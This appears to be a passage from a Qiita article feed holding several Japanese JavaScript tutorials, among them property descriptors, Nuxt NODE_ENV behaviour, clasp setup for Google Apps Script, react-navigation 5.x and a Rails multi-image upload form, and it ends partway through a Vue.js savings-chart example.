Object.assign(obj, { foo: 2 })
//=> TypeError: Cannot assign to read only property 'foo' of object '#<Object>'

enumerable

enumerable属性は、プロパティが列挙可能かどうかの設定です。列挙可能なプロパティはfor .. inObject.keysなどに現れるようになります。

逆に、enumerableにfalseがセットされたプロパティは、Object.keysなどの対象にならなくなります。

const obj = { a: 1, b: 2, c: 3 }
Object.defineProperty(obj, 'a', { enumerable: false })
console.log(Object.keys(obj))
//=> [ 'b', 'c' ]

enumerableが活用されている身近な例としては、windowのプロパティです。DateMapといった便利クラスは、windowオブジェクトのプロパティです。new window.Date()new Date()と同じです。windowオブジェクトのプロパティなら、windowfor .. inで探したら見つかりそうですが、出てきません。これはwindow.Dateプロパティのenumerable属性がfalseになっているためです。

Example_Domain.png

console.logでオブジェクトプロパティをデバッグすることがあると思いますが、enumerableがfalseだとconsole.logの結果にも現れなくなります。これを応用すると、デベロッパーに見せる必要のない内部プロパティを作るといったことができます。

const obj = { a: 1, b: 2, c: 3 }
Object.defineProperty(obj, 'a', { enumerable: false })
console.log(obj)
//=> { b: 2, c: 3 }

もちろん、見えなくなっただけで、プロパティへのアクセスはできます。

console.log(obj.a) //=> 1

他にもJSON.strigifyの結果にも現れなくなるので、JSONにエンコードされるべきでないプロパティにも応用可能です。

const obj = { a: 1, b: 2, c: 3 }
Object.defineProperty(obj, 'a', { enumerable: false })
console.log(JSON.stringify(obj))
//=> {"b":2,"c":3}

プロパティがenumerableかどうかは、Object.prototype.propertyIsEnumerableメソッドで手っ取り早く調べることができます。

const obj = { a: 1, b: 2, c: 3 }
Object.defineProperty(obj, 'a', { enumerable: false })
console.log(obj.propertyIsEnumerable('a')) //=> false
console.log(obj.propertyIsEnumerable('b')) //=> true

configurable

configurable属性は、プロパティの属性変更を許可するかどうかの設定です。Object.definePropertyで属性の操作ができることは先述しましたが、これが行えなくなるということです。

configurableをfalseにしている身近な例としては、Arraylengthプロパティがそうです。

const arr = [1, 2, 3]
console.log(Object.getOwnPropertyDescriptor(arr, 'length'))
//=> { value: 3, writable: true, enumerable: false, configurable: false }

configurableにfalseが設定されたプロパティの属性の特徴を見ていきましょう。

まず、属性を変更しようとすると、TypeErrorが発生します。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { configurable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: false }

Object.defineProperty(obj, 'foo', { enumerable: false }) // 設定変更を試みる
//=> TypeError: Cannot redefine property: foo

ただし、valuewritable属性だけは変更可能です。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { configurable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: false }

Object.defineProperty(obj, 'foo', { value: 2, writable: false }) // この設定変更はOK
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 2, writable: false, enumerable: true, configurable: false }

一方で、writableがfalseの場合は、writable属性すらも変更できなくなります。つまり、configurableがfalseの場合、属性設定をゆるくすることはできないということです。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { writable: false, configurable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: false, enumerable: true, configurable: false }

Object.defineProperty(obj, 'foo', { writable: true }) // 変更を試みる
//=> TypeError: Cannot redefine property: foo

さらに、deleteでプロパティを削除することが不可能になります。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { configurable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: false }

delete obj.foo // 効かない
console.log(obj.foo) //=> 1

Strictモードでプロパティ削除を試みるとTypeErrorが発生します。

"use strict"
const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { configurable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: false }

delete obj.foo 
//=> TypeError: Cannot delete property 'foo' of #<Object>

参考文献


  1. 本稿では、データプロパティのことをプロパティということにします。アクセッサプロパティについては割愛します。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Nuxt.jsでprocess.env.NODE_ENVを参照する際の挙動についてまとめてみた

Nuxtでprocess.env.NODE_ENVを参照する際にハマりがちだったので挙動をまとめました。

なお、環境は以下のとおりです。

package.json
  "dependencies": {
    "cross-env": "7.0.0",
    "nuxt": "2.11.0"
  },

※この記事で記載しているファイルは内容を一部抜粋したものです。

デフォルトの挙動

まず、何の設定もせずにyarn devしたときとyarn build && yarn startしたときの値を確認します。

package.json
  "scripts": {
    "dev": "nuxt",
    "build": "nuxt build",
    "start": "nuxt start"
  },
pages/index.vue
<template>
  <div />
</template>

<script>
export default {
  mounted() {
    console.log(process.env.NODE_ENV);
  }
};
</script>
実行方法 process.env.NODE_ENV
yarn dev "development"
yarn build && yarn start "production"

このようにデフォルトで値が入っていることがわかりました。次に、環境変数を指定した際の挙動を見ていきます。

環境変数を指定したとき

package.json
  "scripts": {
    "dev": "cross-env NODE_ENV=dev nuxt",
    "build": "cross-env NODE_ENV=build nuxt build",
    "start": "cross-env NODE_ENV=start nuxt start"
  },

実行方法 process.env.NODE_ENV
yarn dev "development"
yarn build && yarn start "production"

環境変数に指定した値が入ると思いきや、デフォルトの値が優先されてしまいました。これでは困るので、次にNODE_ENVnuxt.config.jsに指定したときの挙動を見てみます。

env を指定したとき

nuxt.config.js
  env: {
    NODE_ENV: process.env.NODE_ENV
  }
package.json
  "scripts": {
    "dev": "cross-env NODE_ENV=dev nuxt",
    "build": "cross-env NODE_ENV=build nuxt build",
    "start": "cross-env NODE_ENV=start nuxt start"
  },
実行方法 process.env.NODE_ENV
yarn dev "dev"
yarn build && yarn start "build"

今回はこのようにビルド時に埋め込んだ値が取得できることがわかりました。

まとめ

というわけで、process.env.NODE_ENVの値を Nuxt で定義したコンポーネントから取得する際は、nuxt.config.jsenvプロパティにNODE_ENVを指定したほうが間違いは起こりにくいかもしれません。

しかし、今回の記事では触れていませんが、例えば Nuxt を express で動かす際などは、process.env.NODE_ENVの値をserver.jsなどのファイルから参照する関係で、予想と違う形でprocess.env.NODE_ENVの値が返ってくることがあるかもしれません。

あまりないケースかとは思いますが、そのようなことを考えると build 時とサーバー起動時に設定するNODE_ENVの値は同じにしておいたほうが無難っぽいです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

local host に接続したいのですがfirebase に繋がってしまいます。

こんにちは、 node初心者です。
個人プロジェクトでセットアップをしているのですがnodeを起動してlocalhost にアクセスしようとしたところで以前installしたfirebaseに繋がってしまいます。
何か策はないでしょうか?よろしくお願いします。!

Screen Shot 2020-03-05 at 16.58.05.png

Screen Shot 2020-03-05 at 16.58.22.png

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

VSCodeとClaspでGASプチ開発の環境作り(Javascript ES6)

やっぱり流行りはTypeScriptらしくて、GAS+Claspの関係はTypeScriptでの環境構築は多いんだけど、Javascriptは見当たらない気がする
というわけで、自分の環境を書き残しておこう

1.VSCode

特に意識せずDLして使ってます。Unityソースもいじるので拡張それなり。

2.Clasp

Claspを入れる前に、
Node.JS
Npm
はが必要。
Npmは別にインストールが必要かと思ったけど、本家バイナリだと一緒にインストールできるのね。
NodeJSってナニソレ、的な人はこれでよいかと。
Node入れるにはHomebrewをいれてnodebrewをいれてバージョンを管理して、というのがほとんどで、そこで引いちゃう可能性があるなぁ、と感じる

サーバ側の開発でNodeJSを使う人は指定されるバージョンがあったりするので、Node自身のバージョンを切り替える必要があり、上記をやるのは正しいのだけど、今回の場合などは本家バイナリでよいのではないかなぁ、と程度の差はあれ思ったり。

3.素の環境づくり

GAS側でプロジェクトを作るでも(clasp clone)、ローカルから作る(clasp create)でもプロジェクトのフォルダー上に
Code.js
.clasp.json
appsscript.json
がいる。ファイルが多くなりそうな場合は、rootDirの設定をする。(多くなくてもやったほうがきれいね)
以下すべてVSCodeのターミナルからの入力MyDirはそれぞれ自分の開発フォルダに置き換えてください

MyMac:MyDir$clasp clone --rootDir src
or
MyMac:MyDir$clasp create --rootDir src

4.GASのコード補完

GASのたくさんあるクラスを使うのにタイプミスをへらすために、コード補完の準備

package.jsonの準備

MyMac:MyDir$npm init --y

これでpackage.jsonができたり、NPMでNodeのパッケージをプロジェクトに入れる準備ができた

GASの定義ファイルの準備

npm i @types/google-apps-script --save-dev

これでTypeScriptのGASのクラス定義ファイルがプロジェクトフォルダにインストールされます。
そうTypeScriptの。。。

JavaScript(ES6)でも使えるようにjsconfig.jsonを作成

jsconfig.json
{
    "compilerOptions": {
      "target": "ES6"
    }
}

これでソース記載時に、GASのクラスのヘルプがでる、、はず。
(VSCodeのExtensionがいるかもしれないけど、もはやどれかわからず。。。)

4.設定ファイルをいじる

appsscript.json

場合によって追加が必要そうなのは2点

webapp

こちらは作ったスクリプトをWeb公開するパターンで必要。(前エントリ参照

oauthScopes

こちらは、
・スタンドアローンスクリプトでDocumentやSpreadsheetを使う
・ビルトインスクリプトで他のSpreadsheetやDriveを使う
・とにかくUIを使う
際に権限設定として必要になる(こちらも前エントリ参照
また、このファイルは、GASエディター上で「表示」→「マニフェストファイルを表示」で確認できる

.clasp.json

普通につくるとこんな感じ

scriptId

clasp.json
{
    "scriptId":"あなたのScriptId"
}

複数ファイルで作りたい人は以下エントリ追加

filePushOrder

clasp.json
{
    "filePushOrder": [
        "src/constants.js",
        "src/baseClass.js",
        "src/extendClass.js"
    ]
}

上から順番に変数定義の参照がされる。
余談;クラスをnewするときはClass定義は後ろでもOK、extendsするときは前じゃないとだめなのね

rootDir

なお、createやclone時にrootDirオプションつけてたら

clasp.json
{
    "rootDir" : "src"
}

のエントリが存在するはず。
また、つけわすれてても、自分で記載することも可能

package.json

こちらは一部便利なところを利用させていただく

  "scripts": {
    "web:deploy": "clasp deploy -i [deployId]",
    "web:push": "clasp push",
    "web:pull": "clasp pull",
    "web:open": "open 'https://script.googleusercontent.com/macros/s/[deployId]/exec?'"
  },

普段はpush、pullだけでよい気がする。web公開版の場合にdeployやらopenを入れとくと楽〜
(なお、openはMac版の話。Winはもってないのでわからないっす)
次にVSCodeの設定から

"npm.enableScriptExplorer": true

で、これを保存すると、VSCodeのNPMScriptのマドにコマンドが並ぶのでマウスでポチポチクリックで実行してくれる、と。

.claspignore

ファイルの操作をするアプリには必須のignore

**/**
!*.js
!*.html
!appsscript.json

忘れないように書いておきます

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Javascriptで全部のDOMにアクセスしたい時

しょっちゅう書いてるのに忘れるからメモ
再帰的に処理するだけ

const getRecursionNodes = node => {
  node = node.firstChild;
  while (node) {
    getNodes(node);
    node = node.nextSibling;
  }
};

フレームワーク内で書いたら負け。
node.jsでスクレイピングしたい時とかにね

例えばこんなDOMっぽい文字列一部だけでもいいし全部でもいいし
axiosとかで普通に取得する。

const tagText = `
<div>
  <div>
    タイトル
    <span>サブタイトル</span>
  </div>
</div>
`;

で文字列をパースする

  const parser = new DOMParser();
  const doc = parser.parseFromString(tagText, 'text/html');
  getRecursionNodes(doc.getElementsByTagName('body')[0]);

こんな風に書くとgetRecursionNodesのwhile内で
body内の全要素をぶん回して処理できる。

parseFromStringはDOM Tree一部だけのつもりでも
htmlとbodyタグを勝手に付与しやがるので重複に注意。

空DOMをすっ飛ばしたい時はnextElementSiblingを使うと少し軽くなるかも。
この書き方だと文字列だけのnodeとかを処理したい時は
node.nodeTypeで判定してあげる必要がある。
https://developer.mozilla.org/ja/docs/Web/API/Node/nodeType

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[GitHub] 東京都公式 新型コロナウイルス対策サイトがプルリク募集してる[COVID-19]

stopcovid19.metro.tokyo.lg.jp.PNG
東京都公式 新型コロナウイルス対策サイトのリポジトリが、GitHub上に公開されています。
Issueは大歓迎、Pull Requestは受け入れ体制を今調整しているそうです。

行動規範が最強にかっこいいので是非一読を。
序文だけ引用(一部言葉を補ってます。)

我々はなぜここにいるのか
・ 都民の生命と健康を守るため
・ 正しいデータをオープンに国内/海外の人に伝えるため
・ 正しいものを正しく、ともに作るプロセスの効果を具体的に示すため

主にVue.js (nuxt.js)で作成されているようなので、
貢献したい方は、ReadMeHow to contributeを確認するといいと思います。

一言

東京都がこういう運用できるということに驚きました。すごい。
Vtuberの公式サイトをプルリクで作るを思い出す。

リンク

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Node.js】定義したクラスを別のファイルで使用する

定義したクラスを別のファイルで使用するには、module.exportsを使います。

まず元となるクラスを作成

smartPhone.js
class iphone {
    constructor() {
    }

    call(){
        console.log('call');
    }

    mail(){
        console.log('mail');
    }

}


class android {
    constructor() {
    }

    call(){
        console.log('call');
    }

    mail(){
        console.log('mail');
    }

}

module.exportsで外部に公開します。

smartPhone.js
module.exports = iphone

これだけで、外部へ公開することができます。
しかし、今回クラスは2つあります。
クラスが複数ある場合はどうするかというと、objectにしてしまいます。

smartPhone.js
module.exports = {
    IPHONE: iphone,
    ANDROID: android
}

Keyは適当な名前、valueはクラス名を設定します。
これで指定したクラスが外部から読み込めるようになりました。

早速別ファイルから読み込んでみます。
requireで呼び出します。

usePhone.js
const iphone = require('./smartphone').IPHONE
const android = require('./smartphone').ANDROID

requireの引数にファイル名を指定します。".js"は省略可能です。
上記ではクラスごとで定数に代入していますが、わざわざこんなことはしません。

usePhone.js
const {IPHONE,ANDROID} = require('./smartphone')

分割代入をします。

あとはクラスをnewすればOKです。

usePhone
const a = new IPHONE()
a.call()

const b = new ANDROID()
b.call()
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

JavaScriptで時刻の二桁目をゼロ埋めする

取得した時刻をStringへ変換してpadStart

1時2分を「1:2」ではなく「01:02」みたいに表記したかった。
忘れないようにメモ。

console
const d = new Date('2020-03-05T01:02:03');
const hourStr   = d.getHours().toString().padStart(2, '0');
const minuteStr = d.getMinutes().toString().padStart(2, '0');
console.log(hourStr + ":" + minuteStr); // 01:02

参考資料

String.prototype.padStart() - JavaScript | MDN

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

React Native で画面遷移やタブメニュー【react-navigation 5.x】

react-navigation とは

react-navigation とは、React Native アプリのルーティングで使える便利なライブラリです。
画面遷移や、タブバー、そしてドローワー(横からすっとでてくるメニュー)などを利用できるので非常に便利。
4.x->5.x のメジャーバージョンアップに伴い、コンポーネントベースになりました。

今回は、5.x の使い方を紹介します。

インストール

# ライブラリのインストール
yarn add @react-navigation/native
# dependencies のインストール
yarn add react-native-reanimated react-native-gesture-handler react-native-screens react-native-safe-area-context @react-native-community/masked-view

App.tsx

import { NavigationContainer } from '@react-navigation/native';
import React, { useEffect } from 'react';
import HomeNavigator from './Home';
import NavigationService from './navigation-service';

const App: React.FunctionComponent = () => {
  return (
    <NavigationContainer>
      <HomeNavigator />
    </NavigationContainer>
  );
};

export default App;

これで準備は完了です。

画面遷移の実装

ライブラリをインストールします。

yarn add @react-navigation/stack

サンプルコードは以下のようになります。

import { createStackNavigator } from '@react-navigation/stack';
import React from 'react';
import { Alert, Button } from 'react-native';

const Stack = createStackNavigator();

const HomeNavigator = () => (
  <Stack.Navigator
    screenOptions={{
      headerTintColor: ...,
      headerStyle: {
        backgroundColor: ...,
      },
    }}
  >
    <Stack.Screen
      name="Home"
      component={Home}
      options={{
        headerRight: () => (
          <Button
            onPress={() => Alert.alert('This is a button!')}
            title="Info"
            color="#fff"
          />
        ),
      }}
    />
    <Stack.Screen name="Details" component={Details} />
  </Stack.Navigator>
);

...

export default HomeNavigator;

最初に createStackNavigator でスタックを定義しています。
作成したスタックは Stack.Navigator, Stack.Screen の形で使用します。

screenOptions には、このナビゲーター全体に適用するレイアウトを定義することができます。
個々のスクリーンに適用するレイアウトは options に記載します。

component で画面の要素を見ていきます。
二種類の書き方ができます。

const Home: React.FunctionComponent = () => {
  const navigation = useNavigation();
  return (
    <View style={{ flex: 1, alignItems: 'center', justifyContent: 'center' }}>
      <Button
        title="Go to Details"
        onPress={() => navigation.navigate('Details')}
      />
    </View>
  );
};
const Home: React.FunctionComponent = ({ navigation }) => {
  return (
    <View style={{ flex: 1, alignItems: 'center', justifyContent: 'center' }}>
      <Button
        title="Go to Details"
        onPress={() => navigation.navigate('Details')}
      />
    </View>
  );
};

navigation を渡す方法は、 react-navigation 4.x までと変わりませんね。
props として渡す方法の型定義が面倒になってしまったため、私は Hooks の方を使ってます。

ボタンをクリックすると、 Details に遷移します。

タブメニューの実装

ライブラリをインストールします。

yarn add @react-navigation/bottom-tabs

サンプルコードは以下のようになります。

import { createBottomTabNavigator } from '@react-navigation/bottom-tabs';
import React, { useLayoutEffect } from 'react';
import Ionicons from 'react-native-vector-icons/Ionicons';

const Tab = createBottomTabNavigator();

const TabNavigator = ({ navigation, route }) => {
  useLayoutEffect(() => {
    navigation.setOptions({
      headerTitle: route.state
        ? route.state.routes[route.state.index].name
        : route.params?.screen || 'Home',
    });
  }, [navigation, route]);

  return (
    <Tab.Navigator
      screenOptions={({ route }) => ({
        tabBarIcon: ({ focused, color, size }) => {
          let iconName;

          if (route.name === 'Home') {
            iconName = focused
              ? 'ios-information-circle'
              : 'ios-information-circle-outline';
          } else if (route.name === 'Settings') {
            iconName = focused ? 'ios-list-box' : 'ios-list';
          }

          return <Ionicons name={iconName} size={size} color={color} />;
        },
      })}
      tabBarOptions={{
        activeTintColor: 'tomato',
        inactiveTintColor: 'gray',
      }}
    >
      <Tab.Screen name="Home" component={Home} />
      <Tab.Screen name="Settings" component={Settings} />
    </Tab.Navigator>
  );
};

...

export default TabNavigator;

createBottomTabNavigator でタブを作成。
Tab.Navigator, Tab.Screen で実際の内容を定義します。

screenOptions, tabBarOptions の代わりに、カスタムのタブメニューを利用することも可能です。 tabBar={(props) => <TabBar {...props} />} で定義します。
TabBar は以下のような形で書くことができます。

import React from 'react';
import { Dimensions, Text, View } from 'react-native';
import { TouchableOpacity } from 'react-native-gesture-handler';

const { width: windowWidth } = Dimensions.get('window');

const TabBar = ({ state, descriptors, navigation }) => {
  const tabWidth = windowWidth / state.routes.length;
  return (
    <View style={{ flexDirection: 'row', width: windowWidth, height: 64 }}>
      {state.routes.map((route, index) => {
        const { options } = descriptors[route.key];
        const label =
          options.tabBarLabel !== undefined
            ? options.tabBarLabel
            : options.title !== undefined
            ? options.title
            : route.name;

        const isFocused = state.index === index;

        const onPress = () => {
          const event = navigation.emit({
            type: 'tabPress',
            target: route.key,
          });

          if (!isFocused && !event.defaultPrevented) {
            navigation.navigate(route.name);
          }
        };

        const onLongPress = () => {
          navigation.emit({
            type: 'tabLongPress',
            target: route.key,
          });
        };

        return (
          <TouchableOpacity
            key={route.key}
            accessibilityRole="button"
            accessibilityStates={isFocused ? ['selected'] : []}
            accessibilityLabel={options.tabBarAccessibilityLabel}
            onPress={onPress}
            onLongPress={onLongPress}
            style={{
              flex: 1,
              width: tabWidth,
              paddingTop: 10,
            }}
          >
            <Text
              style={{
                color: isFocused ? '#673ab7' : '#222',
                alignSelf: 'center',
              }}
            >
              {label}
            </Text>
          </TouchableOpacity>
        );
      })}
    </View>
  );
};

export default TabBar;

スライドメニューの実装

ライブラリをインストールします。

yarn add @react-navigation/drawer

サンプルコードは以下のようになります。

import { createDrawerNavigator } from '@react-navigation/drawer';
import React from 'react';

const Drawer = createDrawerNavigator();

const DrawerNavigator = () => {
  return (
    <Drawer.Navigator initialRouteName="Home">
      <Drawer.Screen name="Home" component={Home} />
      <Drawer.Screen name="Notifications" component={Notifications} />
    </Drawer.Navigator>
  );
};

...

export default DrawerNavigator;

おまけ

スクリーンのなかで画面遷移をする場合、propsuseNavigation から navigation をうけとって使用する方法を紹介しました。

では、自前の関数など、スクリーン以外で利用する場合はどうすれば良いでしょうか。

navigation-service.ts

import React from 'react';

export const isMountedRef = React.createRef();
export const navigationRef = React.createRef();

const navigate = (name: string, params?: any) => {
  if (isMountedRef.current && navigationRef.current) {
    navigationRef.current?.navigate(name, params);
  } else {
    console.log('Not mounted.');
  }
};

export default {
  navigate,
};

App.tsx

const App: React.FunctionComponent = () => {
  useEffect(() => {
    // TypeScript error が出る
    isMountedRef.current = true;
    return () => (isMountedRef.current = false);
  }, []);

  return (
    <NavigationContainer ref={navigationRef as any}>
      <HomeNavigator />
    </NavigationContainer>
  );
};

公式ドキュメントでも紹介されている方法ですが、 isMountedRef.current の更新はうまくできないようです。
GitHub にも issue がありました。

コンポーネントがマウントされていれば navigationRef.current?.navigate(...); は動作します。

これで自前の関数から、

const myFunc = () => {
  NavigationService.navigate('...');
}

といった形で利用可能になります。

おわりに

別プロジェクトでは 4.x からバージョンアップを試みており、 TypeScript 周りでかなり苦労しています。
ただし、 Hooks との相性も良さそうですし、新規でプロジェクトを始める場合は 5.x を使ってみても良いかもしれません。

型定義周りはもう少し調査が必要そうです。

記事の内容に誤りなどございましたらご指摘いただけると幸いです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

1つの投稿で複数の画像をプレビュー表示させながら保存する

概要

Railsアプリケーションにて、投稿に紐付く画像を複数枚、プレビュー表示させながら投稿できる機能を実装したので備忘録としてまとめます。

ProductにImageが紐付きます。

ビューのところは特にもっといい方法があるんだろうなと思っておりますが、
改善点や間違いがあれば是非コメントいただけますと幸いです!

完成イメージ

スクリーンショット 2020-03-05 9.21.22.png

MySQL内
スクリーンショット 2020-03-04 21.14.25.png

マイグレーション

マイグレーションは通常通り・・・

class CreateProducts < ActiveRecord::Migration[5.2]
  def change
    create_table :products do |t|
      t.string :name, null: false
      t.timestamps
    end
  end
end
class CreateImages < ActiveRecord::Migration[5.2]
  def change
    create_table :images do |t|
      t.string :image
      t.references :product, null: false, foreign_key: true
      t.timestamps
    end
  end
end

モデル

accepts_nested_attributes_forにて「Productに紐付くImage」というネストの関係を作ることができます。

class Product < ApplicationRecord
  has_many :images, inverse_of: :product
  accepts_nested_attributes_for :images
end

inverse_ofはRails4.1以上の場合はデフォルト化させているとのことです。

class Image < ApplicationRecord
  belongs_to :product, inverse_of: :images
  mount_uploaders :image, ImageUploader
end

コントローラー

buildはnewと同じ役割です

_attibutesを用いてProductのparamsの中で一括で受け取るように記述します。

class ProductsController < ApplicationController

  def new
    @product = Product.new
    @product.images.build
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to root_path
    else
      render 'new'
    end    
  end

  private

  def product_params
    params.require(:product).permit(:name,images_attributes: {image: []}).merge(user_id: current_user.id)
  end

end

ビュー

今回は最大3枚までとしました。
画像数が多くなれば書き方はもっと工夫した方がいいのかなと思っております・・・

fields_forをつかうことでform_for内で異なるモデルを編集できるようになります。

  = form_for @product do |f|
    %p.upload__box-head 最大3枚までアップロードできます
      .upload__box-images
        = f.fields_for :images do |c|
          .upload__box-image
            %label{for: "image1"}
              = image_tag "pict/item_upload_dummy.png", id: "preview1", class: "preview-image"
            = c.file_field :image, multiple: true, id:"image1", type: "file", accept: "image/*", onchange: "previewImage1(this);"
          .upload__box-image
            %label{for: "image2"}
              = image_tag "pict/item_upload_dummy.png", id: "preview2", class: "preview-image"
            = c.file_field :image, multiple: true, id:"image2", type: "file", accept: "image/*", onchange: "previewImage2(this);"
          .upload__box-image
            %label{for: "image3"}
              = image_tag "pict/item_upload_dummy.png", id: "preview3", class: "preview-image"
            = c.file_field :image, multiple: true, id:"image3", type: "file", accept: "image/*", onchange: "previewImage3(this);"

JS

ここも1つにまとめられそうではありますね・・・

function previewImage1(obj){
  var fileReader = new FileReader();
  fileReader.onload = (function() {
    document.getElementById('preview1').src = fileReader.result;
  });
  fileReader.readAsDataURL(obj.files[0]);
}

function previewImage2(obj){
  var fileReader = new FileReader();
  fileReader.onload = (function() {
    document.getElementById('preview2').src = fileReader.result;
  });
  fileReader.readAsDataURL(obj.files[0]);
}

function previewImage3(obj){
  var fileReader = new FileReader();
  fileReader.onload = (function() {
    document.getElementById('preview3').src = fileReader.result;
  });
  fileReader.readAsDataURL(obj.files[0]);
}

以上となります!
なにぶん初心者のため、ここはこう書いたらリファクタリングできるよ!とかあればご教示いただけますと幸いです!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

実践!令和 500円貯金(投資)をするといくら貯まるのか?(Vue.jsでのグラフ&テーブル表示)

はじめに

昨年2019年、元号が「平成」→「令和」に変更されました。普段、元号使わないし、「いま平成何年だっけ?」と考えるのは、煩わしいと思っていました。しかし、予想以上に令和への改元が盛り上がり、時代の節目として、元号ってよいものだと思いました。そう思った人も多かったのではないでしょうか。

そこで、「令和」のテーマで何かできないかな、と考えはじめました。平成は約30年。令和は何年の続くのかは、今のところ誰にもわかりませんが、この令和の期間中、「令和500円貯金」と称して、500円貯金をしようと思いました。

「令和500円貯金」とは

  • 500円貯金:わかりやすく1年間を360日とすると、500円を毎日貯金箱にいれたとすると、18万円になります。(毎日きっかり500円というわけではなく、わかりやすさ重視で、1年360日(年間18万)・1ヶ月30日(1万5千円)とします。)
  • 貯金箱に貯金していても、おもしろくないので、時代に合わせて「投資」にしようということで、「令和500円積立投資」とします。
  • 令和の時代、ずっと積み立てを実施します。(令和元年は5月からですが、わかりやすく1月から実施)
  • 平成と同じく30年だったとすると、18万×30年=540万となります。

※数年前に、500円玉で貯金をしたことがあります。500円玉が手元に来るたびに貯金箱にいれてました。貯金箱がいっぱいになるまでやり、結構頑張ったつもりでしたが、結果9万円前後で、頑張りと貯金箱の重さのわりにはそんなでもないなぁ、と思った記憶があります。

test2.png

「元号」TIPS

  • 先日、天皇誕生がありましたが、今上天皇は60歳(還暦)になられたそうです。(そうすると、令和とどのくらいなのでしょうか・・・)
  • 元号の平均は、5.5年らしいです(650年から、平成の最後の年である2018年までの1368年間で247の元号。平均すると「5.5年」)

【日本の元号の長さランキング】

1位:昭和: 約62年
2位:明治: 約44年
3位:応永: 約33年(室町時代)
4位:平成: 約31年
5位:延暦: 約23年(奈良時代)

では、いくらになるのか?

モチベーションをあげるため(自動積立をしますので、モチベーションも何もないのですが)、最終的にはいくらくらいになるのかをプログラムで計算してみたいと思います。

実際には、プログラムを作らなくても、積立シミュレーション(下記のURLは楽天)で簡単にできます。
https://www.rakuten-sec.co.jp/web/fund/saving/simulation/

EXCELでもできると思いますが、ポチポチとパラメータを変更したいですし、勉強になりますから、Vue.jsで「複数軸グラフ」と「テーブル」を表示し、パラメータを変えるとリアクティブに表示が変わるものを作ってみたいと思います。

使用技術

インストール
npm install vue-chartjs chart.js
npm install bootstrap-vue

サイト・コード

積み立てシミュレーション:サイトリンク

  • 入力パラメータ: 積立期間(年)・毎日積立金額(円)・利回り(%)
  • グラフ:「横軸」現在からの積立期間・「縦軸」金額(万円)
  • テーブル:元本・評価額・利益

パラメータを変更したり、ポチポチすると、グラフやテーブルの表示が変化します。(グラフをみると、やはりポイントは投資年数と利回りである、ということが一目瞭然です)

test1.gif

コード:グラフの表示部分

App.vue
<template>
  <b-container>
    <!-- グラフ表示 -->
    <chart :chart-data="datacollection" :options="options"></chart>
  </b-container>
</template>

<script>
import Chart from './Chart.js'

export default {
  components: {
    Chart
  },
  data () {
    return {
      datacollection: {},
      options: {}
    }
  },
  mounted () {
    this.makeData()
  },
  methods: {
    makeData () {
      // データ作成
         // 省略
      }

      // グラフにセットする
      this.datacollection = {
        labels: yearLabels,   //データ作成部分で作ったデータ
        datasets: [
          {
            label: '元本',
            data: dataset1,   //データ作成部分で作ったデータ
            backgroundColor: 'lightblue'
          },
          {
            label: '評価額',
            data: dataset2,   //データ作成部分で作ったデータ
            borderColor: 'lightgreen',
            fill: false,
            type: 'line'
          }
        ]
      },
      this.options = {
        maintainAspectRatio: false,
        elements: {
          point: {
            radius: 5,      // 点の大きさ
            hoverRadius: 10 // 点の大きさ(マウスホバー時)
          }
        },
        scales: {
          yAxes: [
            {
              ticks: {
                suggestedMin: 0,
                stepSize: 10
              }
            }
          ]
        }
      }
    }
  }
}
</script>

全体のコード
App.vue
<template>
  <b-container>
    <br><h2>令和500円積み立て</h2><br>
    <!-- パラメータ設定 -->
    <b-row>
      <b-col>
        <b-form-group label-cols-sm="5" label="積立期間(年):" label-align-sm="right" label-for="how-long-year">
          <b-form-input v-model="howlongyear" v-on:change="makeData()" type="number" id="how-long-year"></b-form-input>
        </b-form-group>
      </b-col>
      <b-col>
        <b-form-group label-cols-sm="5" label="毎日積立金額(円):" label-align-sm="right" label-for="how-much-day">
          <b-form-input v-model="howmuchday" v-on:change="makeData()" type="number" id="how-much-day"></b-form-input>
        </b-form-group>
      </b-col>
      <b-col>
        <b-form-group label-cols-sm="5" label="利回り(%):" label-align-sm="right" label-for="interest">
          <b-form-input v-model="interest" v-on:change="makeData()" type="number" id="interest"></b-form-input>
        </b-form-group>
      </b-col>
    </b-row>
    <span>※1年は360日として計算</span>
    <!-- グラフ表示 -->
    <chart :chart-data="datacollection" :options="options"></chart>
    <br><hr><br>
    <!-- テーブル表示 -->
    <b-table small bordered striped head-variant="dark" :fields="fields" :items="items" class="text-center"></b-table>
  </b-container>
</template>

<script>
import Chart from './Chart.js'

export default {
  components: {
    Chart
  },
  data () {
    return {
      howlongyear: 20,
      howmuchday: 500,
      interest: 3,
      datacollection: {},
      options: {},
      fields: ['No', '', '元本', '評価額', '利益'],
      items: []
    }
  },
  mounted () {
    this.makeData()
  },
  methods: {
    makeData () {
      // 1年で積み立てる金額(毎日積立金額 * 360)
      var yearset = this.howmuchday * 360

      var yearLabels = []
      var dataset1 = []
      var dataset2 = []
      this.items = []

      var date = new Date()
      var yyyy = date.getFullYear()
      var principal, calcresult, calcmath, resultset

      for(var i = 1; i <= this.howlongyear; i++){
        if (i == 1){
          yearLabels.push(yyyy)
          calcresult = yearset * (1 + (this.interest / 100))
        } else {
